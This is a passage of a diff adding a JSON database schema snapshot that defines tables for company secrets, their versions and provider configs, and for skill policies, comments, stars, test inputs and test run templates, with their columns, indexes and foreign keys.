+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_name": {
+          "name": "display_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ready'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_details": {
+          "name": "health_details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_provider_configs_company_idx": {
+          "name": "company_secret_provider_configs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_company_provider_idx": {
+          "name": "company_secret_provider_configs_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_provider_configs_default_uq": {
+          "name": "company_secret_provider_configs_default_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secret_provider_configs\".\"is_default\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_provider_configs_company_id_companies_id_fk": {
+          "name": "company_secret_provider_configs_company_id_companies_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_provider_configs_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_provider_configs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_versions": {
+      "name": "company_secret_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "material": {
+          "name": "material",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_sha256": {
+          "name": "value_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_version_ref": {
+          "name": "provider_version_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'current'"
+        },
+        "fingerprint_sha256": {
+          "name": "fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rotation_job_id": {
+          "name": "rotation_job_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "company_secret_versions_secret_idx": {
+          "name": "company_secret_versions_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_value_sha256_idx": {
+          "name": "company_secret_versions_value_sha256_idx",
+          "columns": [
+            {
+              "expression": "value_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_fingerprint_idx": {
+          "name": "company_secret_versions_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "fingerprint_sha256",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_versions_secret_version_uq": {
+          "name": "company_secret_versions_secret_version_uq",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_versions_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_versions_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_versions_created_by_agent_id_agents_id_fk": {
+          "name": "company_secret_versions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secrets": {
+      "name": "company_secrets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "external_ref": {
+          "name": "external_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_version": {
+          "name": "latest_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_resolved_at": {
+          "name": "last_resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secrets_company_idx": {
+          "name": "company_secrets_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_scope_idx": {
+          "name": "company_secrets_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_owner_idx": {
+          "name": "company_secrets_company_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_idx": {
+          "name": "company_secrets_user_definition_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_provider_idx": {
+          "name": "company_secrets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_provider_config_idx": {
+          "name": "company_secrets_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_name_uq": {
+          "name": "company_secrets_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_company_key_uq": {
+          "name": "company_secrets_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'company' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secrets_user_definition_owner_uq": {
+          "name": "company_secrets_user_definition_owner_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_secrets\".\"scope\" = 'user' and \"company_secrets\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secrets_company_id_companies_id_fk": {
+          "name": "company_secrets_company_id_companies_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "company_secrets_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "company_secrets_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secrets_created_by_agent_id_agents_id_fk": {
+          "name": "company_secrets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secrets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secrets_scope_shape_check": {
+          "name": "company_secrets_scope_shape_check",
+          "value": "(\n        \"company_secrets\".\"scope\" = 'company'\n        and \"company_secrets\".\"owner_user_id\" is null\n        and \"company_secrets\".\"user_secret_definition_id\" is null\n      ) or (\n        \"company_secrets\".\"scope\" = 'user'\n        and \"company_secrets\".\"owner_user_id\" is not null\n        and \"company_secrets\".\"user_secret_definition_id\" is not null\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_skill_policies": {
+      "name": "company_skill_policies",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "schema_version": {
+          "name": "schema_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "revision": {
+          "name": "revision",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_effect": {
+          "name": "default_effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "rules": {
+          "name": "rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "company_skill_policies_company_id_companies_id_fk": {
+          "name": "company_skill_policies_company_id_companies_id_fk",
+          "tableFrom": "company_skill_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_comments": {
+      "name": "company_skill_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_comment_id": {
+          "name": "parent_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_comments_company_skill_created_idx": {
+          "name": "company_skill_comments_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_comments_parent_idx": {
+          "name": "company_skill_comments_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_comments_company_id_companies_id_fk": {
+          "name": "company_skill_comments_company_id_companies_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_comments_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": {
+          "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skill_comments",
+          "columnsFrom": [
+            "parent_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_author_agent_id_agents_id_fk": {
+          "name": "company_skill_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_stars": {
+      "name": "company_skill_stars",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_stars_skill_agent_idx": {
+          "name": "company_skill_stars_skill_agent_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_skill_user_idx": {
+          "name": "company_skill_stars_skill_user_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_company_skill_created_idx": {
+          "name": "company_skill_stars_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_stars_company_id_companies_id_fk": {
+          "name": "company_skill_stars_company_id_companies_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_stars_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_agent_id_agents_id_fk": {
+          "name": "company_skill_stars_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_inputs": {
+      "name": "company_skill_test_inputs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content": {
+          "name": "content",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by": {
+          "name": "created_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_inputs_company_skill_name_idx": {
+          "name": "company_skill_test_inputs_company_skill_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_inputs_company_skill_active_idx": {
+          "name": "company_skill_test_inputs_company_skill_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_inputs_company_id_companies_id_fk": {
+          "name": "company_skill_test_inputs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_inputs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_inputs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_run_templates": {
+      "name": "company_skill_test_run_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
